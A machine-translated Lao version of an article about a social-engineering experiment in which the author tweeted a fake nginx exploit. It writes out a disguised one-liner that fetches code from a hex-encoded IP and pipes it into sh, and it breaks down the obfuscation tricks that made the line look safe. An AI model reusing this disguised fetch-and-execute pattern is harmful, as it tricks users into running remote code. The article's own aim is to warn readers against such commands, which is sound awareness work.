ຄວາມສຳເລັດຂອງການທົດລອງທາງດ້ານສັງຄົມດ້ວຍການຂູດຮີດ nginx ປອມ

ຫມາຍ​ເຫດ​. ແປ.: ຜູ້ຂຽນ ບັນທຶກຕົ້ນສະບັບ, ຈັດພີມມາໃນວັນທີ 1 ເດືອນມິຖຸນາ, ໄດ້ຕັດສິນໃຈດໍາເນີນການທົດລອງໃນບັນດາຜູ້ທີ່ສົນໃຈໃນຄວາມປອດໄພຂອງຂໍ້ມູນ. ເພື່ອເຮັດສິ່ງນີ້, ລາວໄດ້ກະກຽມການຂູດຮີດປອມສໍາລັບຊ່ອງໂຫວ່ທີ່ບໍ່ໄດ້ເປີດເຜີຍໃນເຄື່ອງແມ່ຂ່າຍເວັບໄຊຕ໌ແລະຈັດພີມມາມັນຢູ່ໃນ Twitter ຂອງລາວ. ການສົມມຸດຕິຖານຂອງລາວ - ຈະຖືກເປີດເຜີຍທັນທີໂດຍຜູ້ຊ່ຽວຊານທີ່ຈະເຫັນການຫຼອກລວງທີ່ຊັດເຈນໃນລະຫັດ - ບໍ່ພຽງແຕ່ບໍ່ໄດ້ມາເປັນຄວາມຈິງ ... ພວກເຂົາເກີນຄວາມຄາດຫວັງທັງຫມົດ, ແລະໃນທາງກົງກັນຂ້າມ: tweet ໄດ້ຮັບການສະຫນັບສະຫນູນຢ່າງຫຼວງຫຼາຍຈາກປະຊາຊົນຈໍານວນຫລາຍທີ່ບໍ່. ກວດເບິ່ງເນື້ອໃນຂອງມັນ.

TL;DR: ຢ່າໃຊ້ທໍ່ໄຟລ໌ໃນ sh ຫຼື bash ພາຍໃຕ້ສະຖານະການໃດກໍ່ຕາມ. ນີ້ແມ່ນວິທີທີ່ດີທີ່ຈະສູນເສຍການຄວບຄຸມຄອມພິວເຕີຂອງທ່ານ.

ຂ້ອຍຢາກແບ່ງປັນເລື່ອງສັ້ນໃຫ້ກັບເຈົ້າກ່ຽວກັບການຂູດຮີດ PoC comic ທີ່ສ້າງຂຶ້ນໃນວັນທີ 31 ພຶດສະພາ. ລາວ​ໄດ້​ປະກົດ​ຕົວ​ຢ່າງ​ທັນ​ການ​ໃນ​ການ​ຕອບ​ສະໜອງ​ຂ່າວ​ຈາກ Alisa Esage Shevchenko, ສະມາຊິກ ການລິເລີ່ມວັນສູນ (ZDI), ຂໍ້ມູນນັ້ນກ່ຽວກັບຊ່ອງໂຫວ່ໃນ NGINX ທີ່ນໍາໄປສູ່ RCE (ການປະຕິບັດລະຫັດທາງໄກ) ຈະຖືກເປີດເຜີຍໃນໄວໆນີ້. ນັບຕັ້ງແຕ່ NGINX ມີອໍານາດຫຼາຍເວັບໄຊທ໌, ຂ່າວຕ້ອງເປັນລະເບີດ. ແຕ່ເນື່ອງຈາກຄວາມລ່າຊ້າໃນຂະບວນການ "ເປີດເຜີຍຄວາມຮັບຜິດຊອບ", ລາຍລະອຽດຂອງສິ່ງທີ່ເກີດຂຶ້ນແມ່ນບໍ່ຮູ້ - ນີ້ແມ່ນຂັ້ນຕອນມາດຕະຖານ ZDI.

tweet ກ່ຽວກັບການເປີດເຜີຍຄວາມອ່ອນແອໃນ NGINX

ໂດຍໄດ້ສໍາເລັດການເຮັດວຽກກ່ຽວກັບເຕັກນິກການ obfuscation ໃຫມ່ໃນ curl, ຂ້າພະເຈົ້າໄດ້ອ້າງເຖິງ tweet ຕົ້ນສະບັບແລະ "ຮົ່ວໄຫລ PoC ເຮັດວຽກ" ປະກອບດ້ວຍເສັ້ນດຽວຂອງລະຫັດທີ່ສົມມຸດວ່າຂູດຮີດຊ່ອງຫວ່າງທີ່ຄົ້ນພົບ. ແນ່ນອນ, ນີ້ແມ່ນເລື່ອງໄຮ້ສາລະທີ່ສົມບູນ. ຂ້ອຍສົມມຸດວ່າຂ້ອຍຈະຖືກເປີດເຜີຍທັນທີ, ແລະດີທີ່ສຸດຂ້ອຍຈະໄດ້ຮັບສອງສາມຄັ້ງ (ໂອ້ດີ).

tweet ດ້ວຍການຂູດຮີດປອມ

ຢ່າງໃດກໍຕາມ, ຂ້າພະເຈົ້າບໍ່ສາມາດຈິນຕະນາການສິ່ງທີ່ເກີດຂຶ້ນຕໍ່ໄປ. ຄວາມນິຍົມຂອງ tweet ຂອງຂ້ອຍເພີ່ມຂຶ້ນສູງ. ເປັນເລື່ອງແປກທີ່, ໃນເວລານີ້ (15:00 ໂມງຂອງມອດໂກໃນວັນທີ 1 ມິຖຸນາ) ມີຄົນຈໍານວນຫນ້ອຍທີ່ຮູ້ວ່ານີ້ແມ່ນການປອມແປງ. ຫຼາຍຄົນ retweet ມັນໂດຍບໍ່ໄດ້ກວດເບິ່ງມັນທັງຫມົດ (ປ່ອຍໃຫ້ຜູ້ດຽວຊົມເຊີຍຮູບພາບ ASCII ທີ່ຫນ້າຮັກທີ່ມັນອອກມາ).

ພຽງ​ແຕ່​ເບິ່ງ​ວ່າ​ມັນ​ງາມ​!

ໃນຂະນະທີ່ loops ແລະສີທັງຫມົດເຫຼົ່ານີ້ແມ່ນດີ, ມັນເປັນທີ່ຊັດເຈນວ່າປະຊາຊົນຕ້ອງແລ່ນລະຫັດໃນເຄື່ອງຂອງພວກເຂົາເພື່ອເບິ່ງພວກມັນ. ໂຊກດີ, ຕົວທ່ອງເວັບເຮັດວຽກແບບດຽວກັນ, ແລະບວກກັບຄວາມຈິງທີ່ວ່າຂ້ອຍບໍ່ຢາກເຂົ້າໄປໃນບັນຫາທາງດ້ານກົດຫມາຍ, ລະຫັດທີ່ຝັງຢູ່ໃນເວັບໄຊທ໌ຂອງຂ້ອຍແມ່ນພຽງແຕ່ເຮັດໃຫ້ການໂທສຽງດັງໂດຍບໍ່ມີການພະຍາຍາມຕິດຕັ້ງຫຼືປະຕິບັດລະຫັດເພີ່ມເຕີມ.

A digression ຂະ​ຫນາດ​ນ້ອຍ​: ມຶນເມົາ, dnz, ຂ້ອຍແລະຄົນອື່ນໆຈາກທີມງານ ຝູງຊົນ ພວກເຮົາໄດ້ຫຼີ້ນກັບວິທີການຕ່າງໆເພື່ອລົບກວນຄໍາສັ່ງ curl ສໍາລັບໄລຍະຫນຶ່ງເນື່ອງຈາກວ່າມັນເຢັນ ... ແລະພວກເຮົາ geeks. netspooky ແລະ dnz ຄົ້ນພົບວິທີການໃຫມ່ຈໍານວນຫນຶ່ງທີ່ເບິ່ງຄືວ່າດີຫຼາຍສໍາລັບຂ້ອຍ. ຂ້າພະເຈົ້າໄດ້ເຂົ້າຮ່ວມໃນຄວາມມ່ວນແລະພະຍາຍາມເພີ່ມການແປງເລກທົດສະນິຍົມ IP ກັບຖົງຂອງ tricks. ມັນປະກົດວ່າ IP ຍັງສາມາດຖືກປ່ຽນເປັນຮູບແບບເລກຖານສິບຫົກ. ຍິ່ງໄປກວ່ານັ້ນ, curl ແລະເຄື່ອງມື NIX ອື່ນໆສ່ວນໃຫຍ່ມີຄວາມສຸກກິນ IPs hexadecimal! ສະນັ້ນມັນເປັນພຽງແຕ່ເລື່ອງຂອງການສ້າງເສັ້ນຄໍາສັ່ງທີ່ຫນ້າເຊື່ອຖືແລະປອດໄພ. ໃນທີ່ສຸດຂ້ອຍໄດ້ຕົກລົງກັບອັນນີ້:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

ວິສະວະກຳອີເລັກໂທຣນິກ-ສັງຄົມ (SEE) - ຫຼາຍກ່ວາພຽງແຕ່ phishing

ຄວາມປອດໄພ ແລະ ຄວາມຄຸ້ນເຄີຍເປັນສ່ວນສຳຄັນຂອງການທົດລອງນີ້. ຂ້າພະເຈົ້າຄິດວ່າພວກເຂົາເປັນສິ່ງທີ່ນໍາໄປສູ່ຄວາມສໍາເລັດຂອງລາວ. ເສັ້ນຄໍາສັ່ງຊີ້ໃຫ້ເຫັນຄວາມປອດໄພຢ່າງຊັດເຈນໂດຍການອ້າງເຖິງ "127.0.0.1" (localhost ທີ່ມີຊື່ສຽງ). Localhost ຖືວ່າປອດໄພ ແລະຂໍ້ມູນໃນມັນຈະບໍ່ອອກຈາກຄອມພິວເຕີຂອງທ່ານ.

ຄວາມຄຸ້ນເຄີຍແມ່ນອົງປະກອບ SEE ທີ່ສໍາຄັນທີສອງຂອງການທົດລອງ. ນັບຕັ້ງແຕ່ຜູ້ຊົມເປົ້າຫມາຍຕົ້ນຕໍປະກອບດ້ວຍຜູ້ທີ່ຄຸ້ນເຄີຍກັບພື້ນຖານຂອງຄວາມປອດໄພຂອງຄອມພິວເຕີ, ມັນເປັນສິ່ງສໍາຄັນທີ່ຈະສ້າງລະຫັດເພື່ອໃຫ້ບາງສ່ວນຂອງມັນເບິ່ງຄືວ່າຄຸ້ນເຄີຍແລະຄຸ້ນເຄີຍ (ແລະດັ່ງນັ້ນຈຶ່ງປອດໄພ). ການກູ້ຢືມອົງປະກອບຂອງແນວຄວາມຄິດການຂຸດຄົ້ນເກົ່າແລະການລວມເອົາພວກມັນໃນທາງທີ່ຜິດປົກກະຕິໄດ້ພິສູດວ່າປະສົບຜົນສໍາເລັດຫຼາຍ.

ຂ້າງລຸ່ມນີ້ແມ່ນການວິເຄາະລາຍລະອຽດຂອງ one-liner. ທຸກສິ່ງທຸກຢ່າງຢູ່ໃນບັນຊີລາຍຊື່ນີ້ນຸ່ງເສື້ອ ລັກສະນະເຄື່ອງສໍາອາງ, ແລະຕົວຈິງແລ້ວບໍ່ມີຫຍັງຕ້ອງການສໍາລັບການປະຕິບັດງານຕົວຈິງຂອງມັນ.

ອົງປະກອບອັນໃດທີ່ຈໍາເປັນແທ້ໆ? ນີ້ -gsS, -O 0x0238f06a, |sh ແລະເຄື່ອງແມ່ຂ່າຍເວັບໄຊຕ໌ຕົວມັນເອງ. ເຄື່ອງແມ່ຂ່າຍເວັບໄຊຕ໌ບໍ່ມີຄໍາແນະນໍາທີ່ເປັນອັນຕະລາຍ, ແຕ່ພຽງແຕ່ໃຫ້ບໍລິການຮູບພາບ ASCII ໂດຍໃຊ້ຄໍາສັ່ງ echo ໃນ script ທີ່ມີຢູ່ໃນ index.html. ເມື່ອຜູ້ໃຊ້ເຂົ້າເສັ້ນທີ່ມີ |sh ໃນ​ກາງ​, index.html loaded ແລະ​ປະ​ຕິ​ບັດ​. ໂຊກດີ, ຜູ້ຄຸ້ມຄອງຂອງເຄື່ອງແມ່ຂ່າຍເວັບບໍ່ມີຄວາມຕັ້ງໃຈທີ່ບໍ່ດີ.

• ../../../%00 — ເປັນ​ຕົວ​ແທນ​ໄປ​ນອກ​ຈາກ​ລະ​ບົບ​;
• ngx_stream_module.so - ເສັ້ນທາງໄປສູ່ໂມດູນ NGINX ແບບສຸ່ມ;
• /bin/sh%00<'protocol:TCP' — ພວກ​ເຮົາ​ຄາດ​ວ່າ​ຈະ​ເປີດ​ຕົວ​ /bin/sh ໃນເຄື່ອງເປົ້າຫມາຍແລະປ່ຽນເສັ້ນທາງຜົນຜະລິດໄປຫາຊ່ອງທາງ TCP;
• -O 0x0238f06a#PLToffset - ສ່ວນປະກອບລັບ, ເສີມ #PLToffset, ມີລັກສະນະເປັນການຊົດເຊີຍຄວາມຊົງຈໍາທີ່ບັນຈຸຢູ່ໃນ PLT;
• |sh; - ອີກ​ສ່ວນ​ຫນຶ່ງ​ທີ່​ສໍາ​ຄັນ​. ພວກເຮົາຈໍາເປັນຕ້ອງໄດ້ປ່ຽນເສັ້ນທາງຜົນຜະລິດໄປຫາ sh / bash ເພື່ອປະຕິບັດລະຫັດທີ່ມາຈາກເຄື່ອງແມ່ຂ່າຍເວັບທີ່ຖືກໂຈມຕີທີ່ຕັ້ງຢູ່. 0x0238f06a (2.56.240.x);
• nc /dev/tcp/localhost - dummy ທີ່ netcat ຫມາຍເຖິງ /dev/tcp/localhostເພື່ອໃຫ້ທຸກສິ່ງທຸກຢ່າງເບິ່ງຄືວ່າປອດໄພອີກເທື່ອຫນຶ່ງ. ໃນຄວາມເປັນຈິງ, ມັນບໍ່ເຮັດຫຍັງແລະຖືກລວມຢູ່ໃນເສັ້ນສໍາລັບຄວາມງາມ.

ນີ້ສະຫຼຸບການຖອດລະຫັດຂອງ script ແຖວດຽວແລະການສົນທະນາກ່ຽວກັບລັກສະນະຂອງ "ວິສະວະກໍາສັງຄົມ - ເອເລັກໂຕຣນິກ" ( phishing intricate).

ການຕັ້ງຄ່າເວັບເຊີບເວີ ແລະມາດຕະການຕ້ານ

ເນື່ອງຈາກວ່າສ່ວນໃຫຍ່ຂອງຜູ້ຈອງຂອງຂ້ອຍແມ່ນ infosec / ແຮກເກີ, ຂ້ອຍຕັດສິນໃຈເຮັດໃຫ້ເຄື່ອງແມ່ຂ່າຍເວັບທົນທານຕໍ່ການສະແດງອອກຂອງ "ຄວາມສົນໃຈ" ໃນສ່ວນຂອງພວກເຂົາ, ພຽງແຕ່ວ່າຜູ້ຊາຍຈະມີບາງສິ່ງບາງຢ່າງທີ່ຕ້ອງເຮັດ (ແລະມັນຈະມ່ວນກັບ. ຕັ້ງ​ຄ່າ). ຂ້າພະເຈົ້າຈະບໍ່ໄດ້ບອກເຖິງບັນຫາທັງໝົດຢູ່ທີ່ນີ້ ເນື່ອງຈາກການທົດລອງຍັງດຳເນີນຢູ່, ແຕ່ນີ້ແມ່ນບາງອັນທີ່ເຊີບເວີເຮັດ:

• ຕິດຕາມກວດກາຢ່າງຫ້າວຫັນໃນຄວາມພະຍາຍາມແຈກຢາຍຢູ່ໃນເຄືອຂ່າຍສັງຄົມບາງຢ່າງແລະປ່ຽນຮູບຕົວຢ່າງຕົວຢ່າງຕ່າງໆເພື່ອຊຸກຍູ້ໃຫ້ຜູ້ໃຊ້ຄລິກໃສ່ການເຊື່ອມຕໍ່.
• ປ່ຽນເສັ້ນທາງ Chrome/Mozilla/Safari/etc ໄປຫາວິດີໂອໂຄສະນາ Thugcrowd ແທນການສະແດງ shell script.
• ສັງເກດເບິ່ງອາການທີ່ຊັດເຈນຂອງການບຸກລຸກ / ການແຮັກທີ່ຂີ້ຕົວະ, ແລະຫຼັງຈາກນັ້ນເລີ່ມຕົ້ນການປ່ຽນເສັ້ນທາງການຮ້ອງຂໍໄປຫາເຄື່ອງແມ່ຂ່າຍຂອງ NSA (ha!).
• ຕິດຕັ້ງ Trojan, ເຊັ່ນດຽວກັນກັບ BIOS rootkit, ໃນຄອມພິວເຕີທັງຫມົດທີ່ຜູ້ໃຊ້ໄປຢ້ຽມຢາມເຈົ້າພາບຈາກຕົວທ່ອງເວັບປົກກະຕິ (ພຽງແຕ່ kidding!).

ສ່ວນນ້ອຍໆຂອງ antimers

ໃນກໍລະນີນີ້, ເປົ້າຫມາຍດຽວຂອງຂ້ອຍແມ່ນເພື່ອຊໍານິຊໍານານບາງລັກສະນະຂອງ Apache - ໂດຍສະເພາະ, ກົດລະບຽບເຢັນສໍາລັບການປ່ຽນເສັ້ນທາງການຮ້ອງຂໍ - ແລະຂ້ອຍຄິດວ່າ: ເປັນຫຍັງບໍ່?

NGINX Exploit (ຈິງ!)

ສະ ໝັກ ສະມາຊິກ @alisaesage ໃນ Twitter ແລະປະຕິບັດຕາມວຽກງານທີ່ຍິ່ງໃຫຍ່ຂອງ ZDI ໃນການແກ້ໄຂຊ່ອງໂຫວ່ທີ່ແທ້ຈິງຫຼາຍແລະໂອກາດການຂຸດຄົ້ນໃນ NGINX. ວຽກງານຂອງເຂົາເຈົ້າໄດ້ fascinated ຂ້າພະເຈົ້າສະເຫມີແລະຂ້າພະເຈົ້າ grateful Alice ສໍາລັບຄວາມອົດທົນຂອງນາງກັບການກ່າວເຖິງທັງຫມົດແລະແຈ້ງການ tweet stupid ຂອງຂ້າພະເຈົ້າເກີດ. ໂຊກດີ, ມັນຍັງເຮັດໄດ້ດີ: ມັນຊ່ວຍຍົກສູງຄວາມຮູ້ກ່ຽວກັບຄວາມອ່ອນແອຂອງ NGINX, ເຊັ່ນດຽວກັນກັບບັນຫາທີ່ເກີດຈາກການລ່ວງລະເມີດຂອງ curl.

ແຫຼ່ງຂໍ້ມູນ: www.habr.com